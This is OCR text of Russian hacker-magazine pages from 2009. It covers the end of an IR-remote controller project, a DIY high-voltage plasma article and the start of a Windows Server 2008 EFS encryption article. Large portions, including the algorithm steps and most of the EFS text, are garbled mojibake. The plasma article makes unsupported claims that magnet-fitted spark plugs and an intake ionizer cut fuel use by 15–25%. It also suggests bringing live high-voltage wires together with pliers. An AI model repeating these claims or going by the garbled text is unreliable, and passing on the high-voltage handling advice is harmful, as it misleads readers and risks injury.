выход ИК-датчика, тыкал в кнопки пульта и пытался найти соответствие<br />

между протоколом и видимым мной на экране. После некоторых правок<br />

и перезаливок кода динамик стал наконец-то пищать, сообщая, что<br />

контроллер распознал мои нажатия.<br />

АПЛОДИСМЕНТЫ!<br />

Теперь ты можешь управлять с обыкновенного пульта дистанционного<br />

управления любой техникой в доме. Одной релюшкой с лампочкой все,<br />

естественно, не ограничивается, и ты волен привесить на контроллер<br />

какие угодно функции, хватило бы фантазии и усидчивости. Да, минусы<br />

в моем проекте тоже есть. Во-первых, устройство не умеет снаружи<br />

конфигурироваться через USB или UART. Захочешь поменять кнопку, на<br />

которую будет реагировать контроллер, — перекомпилируй и перепрошивай<br />

все по новой. Сам контроллер тоже слишком крут для таких задач.<br />

Я его выбрал за универсальность, но в готовом «серийном» устройстве,<br />

висящем в шкафу на стенке, понятно, придется использовать что-нибудь<br />

подешевле. Надеюсь, сидя на диване и руля техникой в доме, ты не<br />

заработаешь геморрой. Мой тебе совет, пока не поздно — выбрось пульт<br />

вместе с телевизором в окно и иди гулять. Весна, как-никак. z<br />

АЛГОРИТМ<br />

У меня оказался пульт от телевизора Sony ХХХ, поэтому прошивку для контроллера<br />

я писал, исходя из местного протокола. За «единичный интервал»<br />

берем 0,6 мс, тогда стартовый ноль — это 4 интервала, единица занимает<br />

1+2 интервала, а ноль — 1+1. Последовательность действий в моем случае<br />

примерно такова:<br />

— Ñòàâèì ïðåðûâàíèå íà ñðàáàòûâàíèå â 0 (êîãäà äàííûå íå<br />

ïåðåäàþòñÿ, òðàíçèñòîð â äàò÷èêå çàêðûò, íà íîæêå åäèíèöà).<br />

— Îêàçàâøèñü âíóòðè ïðåðûâàíèÿ, ñáðàñûâàåì è çàïóñêàåì<br />

òàéìåð.<br />

— Ñòàâèì ïðåðûâàíèå íà 1. Ñòàðòîâûé íîëü äîëæåí áûòü äëèíîé<br />

2.4 ìñ.<br />

— Âíóòðè ïðåðûâàíèÿ çàìåðÿåì, ñêîëüêî íàòèêàë òàéìåð:<br />

— Åñëè íàòèêàëî îêîëî 2.4 ìñ, òî ìû ïîéìàëè ïîëåçíûå äàííûå;<br />

— Åñëè íåò, òî ïîéìàëè ÷òî-òî íå òî.<br />

— [Ìåòêà!]  ëþáîì ñëó÷àå, ñòàâèì ïðåðûâàíèå ñíîâà íà 0,<br />

äà ê òîìó æå ñáðàñûâàåì ñ÷åò÷èê (åñëè ïðîäîëæàåì ïðèíèìàòü<br />

ïàêåò).<br />

— Ñðàáîòàòü îíî äîëæíî ïðèìåðíî ÷åðåç 0.6 ìñ. Åñëè ïðåðûâàíèå<br />

íàñòàëî ÷åðåç äðóãîé ïðîìåæóòîê âðåìåíè, òî ñáðàñûâàåì<br />

ñîñòîÿíèå. À åñëè ÷åðåç 0.6, — òî ìû ïîéìàëè îäèíî÷íóþ<br />

åäèíèöó. Ñëåäóþùàÿ ïîñëåäîâàòåëüíîñòü íàêîíåö-òî<br />

ñîîáùèò íàì, ÷òî èìåë â âèäó ïóëüò. Ñáðàñûâàåì ñ÷åò÷èê è<br />

ñòàâèì ïðåðûâàíèå íà 1.<br />

—  íåì ñìîòðèì, ÷åðåç êàêîé ïðîìåæóòîê âðåìåíè ìû òóò<br />

XÀÊÅÐ 04 /124/ 09<br />

АППАРАТНЫЕ<br />

ПРЕРЫВАНИЯ<br />

Любое ядро любого процессора как-то должно реагировать на<br />

внешние раздражители, например, на приход сигнала с какойнибудь<br />

ножки. Первый способ — банально написать программу,<br />

периодически опрашивающую периферию на предмет изменения<br />

состояния. Но это затратно, несинхронно и, вообще, немодно. Поэтому<br />

еще на заре компьютеростроения был изобретен механизм<br />

прерываний. Специальный периферийный контроллер содержит<br />

список функций (обработчиков), на которые нужно совершать переход,<br />

если произошло какое-либо событие. Если оно происходит,<br />

контроллер прерываний насильно сохраняет текущие значения<br />

регистров в стеке и перебрасывает процессорное ядро на новый<br />

адрес с обработчиком. Последний исполняется и сбрасывает флаг<br />

прерывания, сообщая, что оно обработано и можно двигаться<br />

дальше.<br />

101


phreaking<br />

ВАДИМ ДАНЬШИН «DOCTOR V_M_E_N»<br />

/ YURIK_YUROK2@MAIL.RU /<br />

ГРОМ И МОЛНИИ<br />

Эксперимент по передаче энергии на расстояние<br />

Все вокруг считают, что такую вещь, как плазма, без дорогостоящего<br />

коллайдера получить нереально. На самом деле, это не так. Сейчас ты<br />

поймешь, как с помощью хакерского моддинга можно легко и просто<br />

повысить рабочие характеристики своего автомобиля.<br />

>> phreaking<br />

Началось все со слуха, что какой-то там Apple умеет заряжаться в<br />

пределах комнаты беспроводным путем. Меня это весьма удивило,<br />

а потому я захотел узнать, насколько реально самому сделать такой<br />

уникальный девайс. Интерес понятен — я более чем уверен, что и<br />

твой мозг уже взволнован тысячами возможностей применения<br />

данного устройства в хакерском быту. Только представь — зарядка<br />

«жуков», сотовых телефонов, да и вообще, создание специальных<br />

площадей в доме, где техника сама бы централизованно подзаряжалась.<br />

После того, как первые впечатления от услышанной новости<br />

малость утихли, я полез гуглить. И первым делом наткнулся на<br />

небезынтересную работу под названием «Ручная плазма» — на сайте<br />

журнала по ссылке http://www.xakep.ru/post/22867/default.asp. В этой<br />

статье было представлено относительно простое и изящное решение<br />

проблемы. Я мигом побежал в магазин за деталями, купил резисторы,<br />

транзистор, гигантский радиатор с еще тремя подходящими<br />

транзисторами в придачу — все по списку. А вот рабочий строчник я<br />

зачем-то дернул из горелой платы советского телика и, как выяснилось<br />

позже, сделал это зря. Тем не менее, схема работала даже в моем<br />

отвратительно-пофигистическом исполнении и что-то даже пыталась<br />

выдавать. Оказывается, для системы отлично подходят старинные<br />

строчники ТВС-110ЛА. Также во время походов по магазинам я наткнулся<br />

на катушку дважды лакированной тонкой медной проволочки<br />

толщиной 0.1 мм. Цена вопроса сложилась из:<br />

— Êàòóøêà ïðîâîëîêè (1-1.5 êì) — 700 ðóá.<br />

— 6 òðàíçèñòîðîâ + ðàäèàòîð — 800 ðóá.<br />

— Êóñîê êàíàëèçàöèîííîé ïëàñòèêîâîé òðóáû — 0 ðóá. (íàøåëñÿ<br />

â ïîäâàëå)<br />

— Êîíäåíñàòîðû, äèîäû è ðåçèñòîðû — 200 ðóá.<br />

— Ñòðî÷íèê ÒÂÑ-110ËÀ â èñòèííî ñîâåòñêîé óïàêîâêå — 90 ðóá.<br />

Итого, имеем на руках почти полный боекомплект, необходимый, чтобы<br />

начать опыты по передаче энергии на расстояние. Но прежде, уважаемый<br />

читатель, советую погуглить в инете на эту тему, а также про<br />

трансформатор Тесла и законы Кирхгофа. Погуглил? Тогда читай дальше:<br />

102<br />

еще в 1890-х годах Никола Тесла произвел интересную демонстрацию на<br />

озере (http://www.mirf.ru/Articles/art716.htm), в ходе которой люди наблюдали<br />

дистанционное управление плавающим средством — кораблик<br />

подчинялся хитрым манипуляциям Теслы. А ведь тогда не то что приемников<br />

не было — даже транзисторов не существовало! Собственно,<br />

потому и уважают Теслу, что он методом камня и топора делал неописуемые<br />

для тех времен вещи.<br />

А ТЫ ИГРАЛ В HL2?<br />

Если играл, то помнишь голубенькие барьеры, которые питались<br />

током. Давай сейчас, на примере простого опыта, поймем, как можно<br />

растянуть электрическое поле по довольно большой площади. Для<br />

этого построим следующую конструкцию. Возьмем обычную (желательно,<br />

не грязную:)) автомобильную свечку. Спилим боковой<br />

электрод, и затем подключим к ней трансформатор высокочастотного<br />

высоковольтного напряжения. Подключил? Если все сделал правильно,<br />

то сможешь наблюдать множественные искорки от центрального<br />

контакта к боковым стенкам.<br />

Теперь делаем неожиданный финт — крепим по бокам свечки обыкновенные<br />

ниодимовые магниты (подробнее о них я писал в февральской статье).<br />

Прилепил? Ты увидишь не единичные разряды, а «размазанный диск» —<br />

по сути, это и есть плазма. При высокой частоте, порядка 15 кГц, единичные<br />

удары размазываются в однородное поле, которое можно использовать,<br />

например, как среду для поджигания горючего. Фишка в том, что, если<br />

снизить частоту примерно до 300 Гц, то станешь свидетелем вращения<br />

электрической дуги в магнитном поле. Пока что у тебя в руках очень слабый<br />

трансформатор, но ничто не помешает тебе собрать трансформатор Тесла<br />

мощнее. Тем более, он относительно прост в изготовлении.<br />

ПРОКАЧАЕМ ПЛАЗМУ<br />

Вдоволь наигравшись, проведем следующий опыт: узнаем, насколько<br />

можно увеличить площадь получаемого плазменного поля. Для этого<br />

тебе понадобятся две ровные металлические пластины, порядка<br />

15х15 см, несколько колец из диэлектрика (например, на ура пройдут<br />

резиновые прокладки от раковины). Если с пластинами напряг, можешь<br />

XÀÊÅÐ 04 /124/ 09


phreaking<br />

использовать две металлические крышки для банок с бабушкиным<br />

вареньем. Теперь бери и собирай из этого барахла «пирамидку»: клади<br />

вниз под пластину оголенный провод, сверху пластину, затем диэлектрик,<br />

крышку и сверху — еще один электрод с магнитом. Результатом<br />

станет плазменное колечко, площадь которого значительно больше<br />

плазменного диска в предыдущем опыте — красота, да и только! Кстати,<br />

забыл сказать, что для своих опытов ты также можешь использовать<br />

искровой трансформатор из отечественных автомобилей старше 10-15<br />

лет. На выходе этого трансформатора мы будем иметь 10 кВ с частотой<br />

порядка 5 кГц. Для наших опытов вполне достаточно.<br />

РЕЗУЛЬТАТОМ СТАНЕТ<br />

ПЛАЗМЕННОЕ КОЛЕЧКО,<br />

ПЛОЩАДЬ КОТОРОГО<br />

ЗНАЧИТЕЛЬНО БОЛЬШЕ<br />

ПЛАЗМЕННОГО ДИСКА В<br />

ПРЕДЫДУЩЕМ ОПЫТЕ —<br />

КРАСОТА, ДА И ТОЛЬКО .<br />

ИОНИЗАЦИОННЫЙ ТОК<br />

Мы наигрались с плазмой, но есть более простые и не менее важные<br />

свойства высоковольтных токов. Возьми пассатижами два высоковольтных<br />

провода под напряжением (ïðî òåõíèêó áåçîïàñíîñòè íàïîìèíàòü<br />

íå íóæíî? — Ïðèì. ðåä.) и начинай их сближать. Прежде чем<br />

между ними начнет пробивать искра, ты сможешь насладиться характерным<br />

шипением и фиолетовым свечением на остриях проводников.<br />

Спрашивается, что в этом особенного? А вот что: ты наблюдаешь передачу<br />

энергии от одного электрода к другому. Напряжение в проводнике<br />

столь высоко, что между электродами возникает ионизационный ток.<br />

На самом деле, это очень прикольная штука, которую сейчас в стенах<br />

военных лабораторий пытаются использовать для полета самолетов.<br />

Подобный ионизационный поток может утягивать за собой небольшие<br />

частицы. В роли частиц могут выступать, например, воздух или вода.<br />

Ионизационный поток или, как его еще иногда называют, «фитонное<br />

свечение», можно усилить, подведя к концу иголки колечко или, скажем,<br />

сетку. Это явление уже активно применяется в краскопультах. Есть так<br />

называемая электростатическая покраска машин — основана на эффекте<br />

распыления жидкости, вытекающей из положительно заряженной<br />

трубки малого диаметра при направлении ее на отрицательно заряженную<br />

поверхность. В качестве такой трубки, распыляющей воду, можно<br />

заюзать шприц без поршня. Просто присоедини к иголке шприца положительный<br />

электрод и подай минус на металлическую пластину. Стоит<br />

тебе включить высоковольтный источник постоянного тока, — и вода из<br />

шприца перестанет капать, а начнет очень мелко распыляться. Именно<br />

так в современном автомобилестроении добиваются высококачественной,<br />

равномерной покраски деталей. Упомяну и о летающей платформе<br />

Гребенникова, но распространяться о ней не буду, так как статья всего<br />

лишь обзорная.<br />

Еще я хотел бы сказать о самом процессе протекания электрического<br />

тока в воздушных средах. Всей сложностью и нелинейностью законов<br />

распространения электрического заряда в воздухе грузить не буду, но<br />

пару слов сказать все-таки надо.<br />

Электрическая дуга, как ни крути, это, прежде всего, резистор, который<br />

выделяет тепло. У нее есть свое сопротивление, которое надо учитывать.<br />

Так, если ты будешь пытаться делать очень короткие искры блоком питания<br />

от своего старого монитора, то он может посчитать это замыканием<br />

и либо вынести тебя на срабатывание защиты, что на практике счастье<br />

небесное, либо сгореть. Дуга подчиняется закону Ома, но только на очень<br />

коротком ее участке. Для более детального изучения электрические<br />

свойства описывают с помощью вольтамперной характеристики. Одну<br />

из таких характеристик ищи на врезке. Но приведенная картинка не<br />

учитывает таких разнообразных факторов, как состав, давление испытуемого<br />

газа, воздействий на газ, материала и расположения электродов,<br />

форм электродов, геометрии возникающего электрического поля в газе.<br />

Несмотря на то, что этот вопрос и его феномены изучали не одна тысяча<br />

человек в различных НИИ и лабораториях, все равно остались «белые<br />

пятна».<br />

ПРИМЕНЯЕМ ПРИКОЛЫ НА ПРАКТИКЕ<br />

Из вышеописанного следует, что ты с 100% успехом можешь сделать<br />

апгрейд своей машины, доработав свечи зажигания по указанной технологии.<br />

Есть спортивные свечи зажигания, уже специально заточенные<br />

под эту фишку, но их создатели, видимо, не знали про влияние магнитного<br />

поля на дуговой разряд. Как показали замеры расхода топлива<br />

у моих знакомых, внедрение технологии позволило экономить топливо<br />

порядка 25% и повысить мощность движка примерно на 15%.<br />

А теперь вот такой опыт — для него потребуется постоянное напряжение,<br />

но это не составит для тебя никакой проблемы, если ты читал статью<br />

за прошлый месяц. Берем канализационную пластиковую трубу 50<br />

мм в диаметре. Нам нужен обрезок длиной примерно<br />

№ 1 № 2 №3<br />

МОДЕРНИЗИРОВАННАЯ<br />

АВТОМОБИЛЬНАЯ<br />

СВЕЧА, ПИТАЕМАЯ<br />

РОДНЫМ ИСТОЧНИКОМ<br />

ПРИ РАЗНЫХ ОБОРОТАХ<br />

ДВИГАТЕЛЯ<br />

XÀÊÅÐ 04 /124/ 09<br />

103


pc_zone phreaking<br />

104<br />

КАКИЕ ВИДЫ РАЗРЯДОВ<br />

ИЗУЧЕНЫ?<br />

Как ты уже догадался, электрический<br />

разряд — штука весьма неоднозначная<br />

и зависящая от целого ряда<br />

факторов. Различают множество<br />

разрядов, которые классифицируются<br />

по механизмам их возникновения.<br />

Электрические разряды подразделяются<br />

на:<br />

• Искровой разряд. В предыдущей<br />

статье я про него очень много писал и,<br />

вообще, увидеть этот разряд своими<br />

глазами — не редкость. Как правило,<br />

он высокочастотный, возникает при<br />

относительно малой силе тока (до 10<br />

mA) и большом напряжении, порядка<br />

10 кВ и выше.<br />

• Коронный разряд. По сути, это<br />

свечение проводника, обладающего<br />

меньшей площадью пробоя, при его<br />

приближении к другому контакту под<br />

напряжением. Фишка этого разряда<br />

в том, что при больших частотах он<br />

может быть очень плотным. Во время<br />

возникновения коронного разряда<br />

появляется так называемый «электрический<br />

ветер», скорость которого<br />

может достигать 10 м/с, в зависимости<br />

от конструкционных особенностей.<br />

Считают, что в платформе Гребенникова<br />

использовался именно этот вид<br />

разряда.<br />

• Скользящий разряд. Особенностью<br />

скользящего разряда является его<br />

протяженность. При тех же самых<br />

условиях, что и у искрового разряда,<br />

он может быть в 10 раз длиннее.<br />

Вероятно, это связано со своего рода<br />

«отражением» искры от теплостойкого<br />

отполированного диэлектрика.<br />

Но поскольку таких теплостойких<br />

непроводящих материалов очень<br />

мало в природе, — феномен до сих пор<br />

малоизучен. Применяется в фильтрах<br />

и осушителях.<br />

• Газовый разряд. Самым важным<br />

применением этих разрядов,<br />

пожалуй, является электроискровая<br />

обработка металлов и обеззараживание<br />

воды. Отмечу и такое явление,<br />

как гидроудар — резкое расширение<br />

воды, сопровождаемое выделением<br />

тепла и частичным испарением. Он<br />

настолько силен, что горняки сокрушают<br />

им каменные глыбы, просто<br />

просверлив в неподатливой породе<br />

отверстие, залив воду и вставив спецтрубку<br />

с электродами. Как результат,<br />

глыба разлетается на относительно<br />

небольшие куски. Ударная волна<br />

гораздо мощнее, чем у бензина или,<br />

скажем, у того же динамита. На эту<br />

тему написано достаточно много. Интересно<br />

было бы создать такой клапан<br />

для двигателя внутреннего сгорания,<br />

который позволял бы распределять<br />

резко выделяющуюся энергию.<br />

• Тлеющий разряд. Как правило, это<br />

высокочастотный разряд, возникающий<br />

при переменном токе высокого<br />

напряжения. Подобный эффект<br />

наблюдается в разреженной газовой<br />

среде. Наиболее наглядный пример<br />

— плазменная лампа. В магазине<br />

я видел такую игрушку, стоила 400<br />

рублей.<br />

• Дуговой разряд. Электродуговая<br />

сварка — первое, что приходит<br />

в голову, когда говорят о дуговом<br />

разряде. Возникает он при сравнительно<br />

небольших напряжениях, но<br />

при относительно большой силе тока<br />

(так, на выходе моего домашнего<br />

трехфазного сварочного трансформатора<br />

написано «300В 20А»). Его можно<br />

наблюдать при коротком замыкании<br />

в сети 220 вольт. Явление сопровождается<br />

сильным тепловыделением и<br />

плавлением электродов.<br />

• Оптический разряд. Пожалуй,<br />

самый интересный тип разрядов. Не<br />

открою тайну, сказав, что лазер является<br />

точечным ионизатором. Точнее,<br />

по лазеру можно передавать энергию,<br />

как будто у нас в руках обыкновенный<br />

провод. Единственный минус<br />

— необходима большая мощность<br />

лазера. В США сейчас предпринимаются<br />

активные попытки снять<br />

высокопотенциальное напряжение из<br />

ионосферы планеты. Идея заключается<br />

в том, чтобы по очень мощному<br />

лазерному лучу снимать энергию,<br />

которой бы хватило и на работу лазера,<br />

и на обеспечение населения почти<br />

бесплатным, экологически чистым<br />

электричеством.<br />

25-30 см. Теперь необходимо изнутри проклеить ее фольгой<br />

— и точно по центру, параллельно внутренним стенкам,<br />

протянуть кусок неизолированной, толстой медной проволоки.<br />

Выведи контакты площадей на внешний корпус этой<br />

трубы и постарайся вмонтировать ее в гофрошланг, идущий<br />

от воздушного фильтра к мотору. Зачем все это? А вот<br />

зачем: если ты разберешь телевизор или CRT-монитор, то<br />

высоковольтные элементы в нем будут самыми пыльными.<br />

А происходит это потому, что высокое напряжение в физике<br />

есть некий аналог электростатического напряжения.<br />

Иными словами, — наша самоделка будет очищать воздух,<br />

поступающий в сердце твоего зверя, от лишней пыли, если<br />

к ней правильно подключить автомобильный ионизатор<br />

воздуха (видел такой агрегат за 900 рублей в продаже).<br />

«Правильно» — это значит: минусом к фольге, а плюсом к<br />

центральной проволочке. Как результат, смесь, заряженная<br />

таким воздухом, воспламеняется заметно лучше. Тебя<br />

также порадует экономия топлива (порядка 15%) и более<br />

резвое поведение твоей машины на подъемах.<br />

«ПРАВИЛЬНО» — ЭТО<br />

ЗНАЧИТ: МИНУСОМ К<br />

ФОЛЬГЕ, А ПЛЮСОМ К<br />

ЦЕНТРАЛЬНОЙ ПРОВО-<br />

ЛОЧКЕ.. КАК РЕЗУЛЬТАТ,<br />

СМЕСЬ, ЗАРЯЖЕННАЯ<br />

ТАКИМ ВОЗДУХОМ, ВОС-<br />

ПЛАМЕНЯЕТСЯ ЗАМЕТНО<br />

ЛУЧШЕ.<br />

О ЗДОРОВЬЕ И ЗДРАВОМ СМЫСЛЕ<br />

Мы вкратце рассмотрели (а частично — даже применили<br />

на практике) такие интересные явления, как ионизация,<br />

дуговой разряд и вращение дуги. Машина моего знакомого<br />

уже работает с приведенными выше модификациями.<br />

Это реально оказывает положительный эффект в работе<br />

двигателя внутреннего сгорания. Старайся грамотно<br />

оценить и рассчитать требуемую мощность конечной<br />

установки, иначе суровая действительность ударит<br />

тебя не только по кошельку, но и по здоровью. Во время<br />

возникновения дугового разряда, или хотя бы слабого<br />

ионизационного свечения, из проводника вырываются<br />

не только электроны или ионы. Из проводника вылетает<br />

весь спектр частиц, начиная от жесткого ультрафиолета<br />

и заканчивая слабым рентген излучением. А это значит,<br />

что повторять эти опыты на протяжении длительного<br />

времени не стоит, равно, как и изготавливать ночники из<br />

трансформатора Тесла. Ну не для того он предназначен.<br />

С другой стороны, если рассмотреть те же ионизаторы<br />

воздуха, где все рассчитано в пределах допустимых норм,<br />

то вполне реально создать такое устройство, которое<br />

одновременно решало бы какую-то определенную<br />

проблему — и было бы безвредно для человека. Ты же не<br />

собираешься строить девайс для уничтожения людей под<br />

лозунгом «облучи себя сам»? z<br />

XÀÊÅÐ 04 /124/ 09


phreaking<br />

МОДЕРНИЗИРОВАННЫЙ<br />

АВТОФИЛЬТР.<br />

1.Металлический корпус, снаружи желательно<br />

изолировать.<br />

2. Металлический электрод.<br />

3. Крепления электрода.<br />

4. Изолирующее крепление электрода.<br />

5. Провода высокого напряжения — к корпусу (+) ,<br />

к стержню (-). Недостаток: на электроде быстро<br />

скапливается пыль. Ставится непосредственно<br />

при входе воздуха; карбюратор — перед фильтром;<br />

инжектор — после фильтра.<br />

ОБЩАЯ ВОЛЬТАМПЕРНАЯ ХАРАКТЕРИСТИКА<br />

РАЗРЯДОВ<br />

ВОЛЬТАМПЕРНАЯ ХАРАКТЕРИСТИКА<br />

ТИХОГО РАЗРЯДА<br />

XÀÊÅÐ 04 /124/ 09<br />

105


SYN/ACK<br />

СЕРГЕЙ «GRINDER» ЯРЕМЧУК<br />

/ CORE@SYNACK.RU /<br />

За семью<br />

печатями<br />

Win2k8: средства и инструменты безопасности<br />

Принципы, заложенные в Win2k8, позволяют достичь уровня безопасности<br />

более высокого, чем когда-либо. Усиление защиты никак<br />

не сказалось на управляемости, — наоборот, многие настройки стали<br />

проще и понятнее. В этом легко убедиться, разобрав по косточкам<br />

встроенные механизмы шифрования и административные шаблоны,<br />

позволяющие удаленно настраивать параметры безопасности и системный<br />

реестр клиентских компов.<br />

>> SYN/ACK<br />

106<br />

ШИФРУЮЩАЯ ФАЙЛОВАЯ СИСТЕМА EFS Ñåãîäíÿ ìíîãî ãîâîðÿò<br />

î ïîòåðÿõ öåííîé èíôîðìàöèè èç-çà íåñàíêöèîíèðîâàííîãî äîñòóïà<br />

ê ñèñòåìå èëè áàíàëüíîé êðàæè ñèñòåìíîãî áëîêà. Â Win2k8 âñòðîåíû<br />

ñðåäñòâà, êîòîðûå ïîçâîëÿþò ñîçäàòü çàøèôðîâàííûé ôàéë, êàòàëîã èëè<br />

ðàçäåë. Äàííûå, çàùèùåííûå òàêèì îáðàçîì, ìîãóò áûòü ïðî÷èòàíû<br />

òîëüêî òåìè ïîëüçîâàòåëÿìè, êîòîðûå èìåþò ê íèì äîñòóï. Äëÿ øèôðîâàíèÿ<br />

ôàéëîâ è êàòàëîãîâ èñïîëüçóåòñÿ øèôðîâàííàÿ ôàéëîâàÿ ñèñòåìà<br />

EFS (Encrypting File System), ïîääåðæèâàåìàÿ âñåìè ÎÑ Microsoft,<br />

íà÷èíàÿ ñ Win2k. Ñ êàæäîé íîâîé âåðñèåé ñèñòåìû ýòà òåõíîëîãèÿ ñîâåðøåíñòâóåòñÿ,<br />

èçìåíÿþòñÿ àëãîðèòìû è äëèíà êëþ÷åé. Òàê, â Win2k8 ðåàëèçîâàíî<br />

õðàíåíèå êëþ÷åé øèôðîâàíèÿ íà ñìàðò-êàðòàõ, øèôðîâàíèå<br />

êëèåíòñêîãî êýøà è ôàéëà ïîäêà÷êè, ïðåäóñìîòðåíî öåíòðàëèçîâàííîå<br />

àäìèíèñòðèðîâàíèå ïîëèòèê EFS, à òàêæå óïðîùåíî îáíîâëåíèå êëþ÷åé<br />

øèôðîâàíèÿ.<br />

Ôàêòè÷åñêîå øèôðîâàíèå äàííûõ â Win2k8 ïðîèçâîäèòñÿ ïðè ïîìîùè<br />

ñèììåòðè÷íîãî àëãîðèòìà AES ñ 256-ðàçðÿäíûì êëþ÷îì (àëüòåðíàòèâíî<br />

3DES, DESX). Ýòî îáåñïå÷èâàåò âûñîêóþ ñêîðîñòü ðàáîòû. Ó÷èòûâàÿ,<br />

÷òî EFS ðàáîòàåò íà óðîâíå äðàéâåðà NTFS, íàêëàäíûå ðàñõîäû íà øèôðîâàíèå/ðàñøèôðîâêó<br />

äàííûõ íåâåëèêè. Â ïðîöåññå ðàáîòû èñïîëüçóåòñÿ<br />

ñëó÷àéíûé äëÿ êàæäîãî ôàéëà êëþ÷ FEK (File Encryption Key). Ñàì FEK<br />

øèôðóåòñÿ îòêðûòûìè êëþ÷àìè ïîëüçîâàòåëÿ-âëàäåëüöà è àäìèíèñòðàòîðà<br />

âîññòàíîâëåíèÿ (â Win2k8 èñïîëüçóåòñÿ àññèìåòðè÷íûé àëãîðèòì<br />

RSA 2048 áèò). Îáðàçîâàííûå ïîñëå ýòîãî äâà âàðèàíòà êëþ÷åé ñîõðàíÿþòñÿ<br />

â âèäå àòðèáóòà DDF (Data Decryption Field, ïîëå øèôðîâàíèÿ äàííûõ)<br />

â àëüòåðíàòèâíîì ïîòîêå $EFS ôàéëîâîé ñèñòåìû NTFS.<br />

Äëÿ ïîëüçîâàòåëÿ, ñîçäàâøåãî çàøèôðîâàííûé ôàéë èëè êàòàëîã, ïðîöåññ<br />

ïîëíîñòüþ ïðîçðà÷åí: îí ðàáîòàåò ñ òàêèìè ôàéëàìè, êàê ñ îáû÷íûìè.<br />

Âñå îñòàëüíûå, ïðè ïîïûòêå îòêðûòü òàêîé ôàéë, ïîëó÷àò îòêàç â<br />

äîñòóïå. Èñêëþ÷åíèå ñîñòàâëÿåò ëèøü àãåíò âîññòàíîâëåíèÿ êëþ÷à (ïî<br />

óìîë÷àíèþ — àäìèíèñòðàòîð ëîêàëüíûé èëè äîìåíà), êîòîðûé ìîæåò<br />

âîññòàíîâèòü çàøèôðîâàííûé ôàéë â ñëó÷àå ïîòåðè èëè ñáðîñà ïàðîëÿ<br />

ïîëüçîâàòåëÿ. Åñëè ñêîïèðîâàòü çàøèôðîâàííûé ôàéë èëè êàòàëîã íà<br />

ôàéëîâóþ ñèñòåìó, íå ïîääåðæèâàþùóþ EFS (íàïðèìåð, ôëåøêó, îòôîðìàòèðîâàííóþ<br />

â FAT32), ïîÿâèòñÿ îêíî ïîäòâåðæäåíèÿ ïîòåðè øèôðîâàíèÿ.<br />

Ïîñëå ïîäòâåðæäåíèÿ ôàéë ïåðåìåùàåòñÿ â îáû÷íîì âèäå è ìîæåò<br />

áûòü ïðî÷èòàí âñåìè ïîëüçîâàòåëÿìè.<br />

Ñòàíäàðòíîå âêëþ÷åíèå EFS â Win2k8 âûãëÿäèò òàê.  îêíå ñâîéñòâ ôàéëà<br />

èëè êàòàëîãà âûáèðàåì âêëàäêó «Îáùèå» è âûçûâàåì îêíî «Äîïîëíèòåëüíûå<br />

àòðèáóòû» (Advanced Attributes), íàæàâ êíîïêó «Äðóãèå». Çàòåì<br />

óñòàíàâëèâàåì ïåðåêëþ÷àòåëü â ïîëå «Øèôðîâàòü ñîäåðæèìîå äëÿ çàùèòû<br />

äàííûõ» (Encrypt contents to secure data) è ùåëêàåì «Ïðèìåíèòü».<br />

Ïîñëå òîãî êàê äàííûå çàøèôðîâàíû, â òîì æå îêíå «Äîïîëíèòåëüíûå<br />

àòðèáóòû» ìîæíî äîáàâèòü ïîëüçîâàòåëåé, êîòîðûå äîëæíû èìåòü ê íèì<br />

äîñòóï.<br />

 êîìïëåêòå ïîñòàâêè åñòü è êîíñîëüíàÿ óòèëèòà cipher.exe, ïîçâîëÿþùàÿ<br />

ðàáîòàòü ñ EFS-äàííûìè â êîìàíäíîé ñòðîêå. Ââîä åå áåç ïàðàìåòðîâ<br />

âûäàñò ñïèñîê ôàéëîâ â òåêóùåì êàòàëîãå. Áóêâà íà ïåðâîé ïîçèöèè ïîêàçûâàåò<br />

íà — «E» (çàøèôðîâàííûé) è «U» (íåçàøèôðîâàííûé) ôàéë.<br />

×òîáû ïîëó÷èòü ïîëíûé ñïèñîê âñåõ ïàðàìåòðîâ óòèëèòû, ñëåäóåò íàáðàòü<br />

«cipher /?».<br />

Àêòèâèðîâàòü EFS ìîæíî äëÿ ëþáîãî ôàéëà èëè êàòàëîãà, èñêëþ÷åíèå<br />

ñîñòàâëÿþò ëèøü ñèñòåìíûå è ñæàòûå ôàéëû. Óñòàíîâèòü ïåðåêëþ÷àòåëü<br />

îäíîâðåìåííî â ïîëîæåíèå, àêòèâèðóþùåå øèôðîâàíèå è ñæàòèå<br />

(«Ñæèìàòü ñîäåðæèìîå äëÿ ýêîíîìèè ìåñòà íà äèñêå»), íåâîçìîæíî.<br />

Åñëè íóæíî çàøèôðîâàòü äàííûå â ñæàòîì êàòàëîãå, ïðîñòî ïåðåêëþ÷àåì<br />

ôëàæîê, ïîñëå ÷åãî â ïîÿâèâøåìñÿ îêíå èçìåíåíèÿ àòðèáóòîâ ïðèìåíÿåì<br />

óñòàíîâêè êî âñåì âëîæåííûì ôàéëàì è êàòàëîãàì. Íî ó÷òè, äðóãèå<br />

ïîëüçîâàòåëè, õðàíèâøèå ôàéëû â êàòàëîãå, ïîñëå ýòîé îïåðàöèè óæå íå<br />

áóäóò èìåòü ê íèì äîñòóï :). Â ôàéëîâîì ìåíåäæåðå çàøèôðîâàííûå êàòàëîãè<br />

ïîäñâå÷èâàþòñÿ çåëåíûì öâåòîì, ñæàòûå — ñèíèì, ïîýòîìó èõ<br />

õîðîøî âèäíî.<br />

Åñëè ïîëüçîâàòåëü íå èìååò ñåðòèôèêàòà EFS, ïðè ïåðâîì çàïóñêå îí<br />

áóäåò ñîçäàí àâòîìàòè÷åñêè. Ïðîñìîòðåòü âñå âûäàííûå ïîëüçîâàòåëþ<br />

ñåðòèôèêàòû ìîæíî âî âêëàäêå «Ëè÷íîå» (Personal) êîíñîëè «Ñåðòèôèêàòû»<br />

(certmgr.msc). Ñðåäè îñòàëüíûõ ñåðòèôèêàòîâ îòëè÷èòü íóæíûé<br />

ìîæíî ïî ïîëþ «Íàçíà÷åíèå» — «Ôàéëîâàÿ ñèñòåìà EFS». Íî çäåñü åñòü<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK<br />

îäèí ìîìåíò, î êîòîðîì íóæíî çíàòü. Åñëè êîìïüþòåð íå ïîäêëþ÷åí ê<br />

äîìåíó, âûäàííûé òàêèì îáðàçîì ñåðòèôèêàò íå áóäåò îáîçíà÷åí êàê<br />

Trusted. ×òîáû âêëþ÷èòü «Äîâåðèå», íåîáõîäèìî äîáàâèòü òàêîé ñåðòèôèêàò<br />

â öåíòð ñåðòèôèêàöèè. Ñàìûì ïðîñòûì âûõîäîì áóäåò óñòàíîâêà<br />

